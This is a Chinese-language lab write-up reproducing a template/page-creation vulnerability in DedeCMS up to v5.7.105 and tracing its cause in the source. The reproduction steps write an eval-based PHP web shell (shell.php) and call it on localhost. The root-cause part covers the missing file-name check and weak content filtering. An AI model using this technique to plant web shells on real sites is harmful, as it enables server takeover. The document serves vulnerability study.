Dedecms框架漏洞复现④
环境搭建
漏洞影响版本: <=DedeCMS v5.7.105
下载dedecms v5.7.105版本或其以下的源码(可以去官网或者GitHub上下载)
这里我用的就是5.7.105版本的
然后用phpstudy搭建环镜
漏洞复现
搭建好环境之后 注册一个账号 然后登录后台
第一步,按照下面步骤新建一个模板
在下方的框里写上如下内容
1 | <?php |
第二步,按照下面步骤新建一个页面
这里新建页面的时候,主要注意的就是那个文件名的后缀要写成..php
,然后模板文件名那里的htm
文件,写之前新建模板里的htm
(是否编译那里是或者否都可以)
这里会把htm文件里的内容写入到新建的php文件里
然后访问
1 | http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/1.php |
此时会在a目录下生成一个shell.php文件
内容为:
1 | <?php eval($_GET[a]);"); |
然后测试一下
1 | http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/shell.php?a=phpinfo(); |
成功利用
再测测,确实没问题
漏洞成因分析
首先我们看到创建模板页面,看到创建模板的接口调用的是是tpl.php文件
uploads/dede/tpl.php文件,截取主要的部分然后加了一些注释
1 | /* |
然后这些过滤不算很严格,我们还是有很多方法可以去绕过的,比如我们上面的漏洞复现的时候写入的代码就可以绕过这些限制
然后看到编辑模板的地方
可以看到这里要求我们的模板结尾必须是.htm
,而且还将一些表单标签的关键字进行了替换
1 | else if($action == 'saveedit') |
然后看到新建页面的源码templets_one_add.php
前面都是在对新建页面的内容进行一个处理,我们在新建页面的时候并没有另外写内容,所以前面都不用管,我们看到这里对新建页面进行了一个保存
那我们就来到uploads/include/arc.sgpage.class.php
的SavaToHtml
方法。这个函数主要作用是将当前对象的内容保存为HTML文件。
然后进入uploads/include/dedetag.class.php
的SaveTo
方法,这个函数的作用是将替换后的字符串保存到指定的文件中,即获取文件内容。
最后看到GetResult
方法,这个方法用于替换模板内容中的字符串,即将一个字符串中的特定标签替换为对应的值,然后返回替换后的字符串。
这个漏洞的成因简单来说,就是没有对用户新建的文件的名字是否合法做出判断,而且对文件内容的过滤也不完全,所以导致用户可以通过恶意输入进行利用。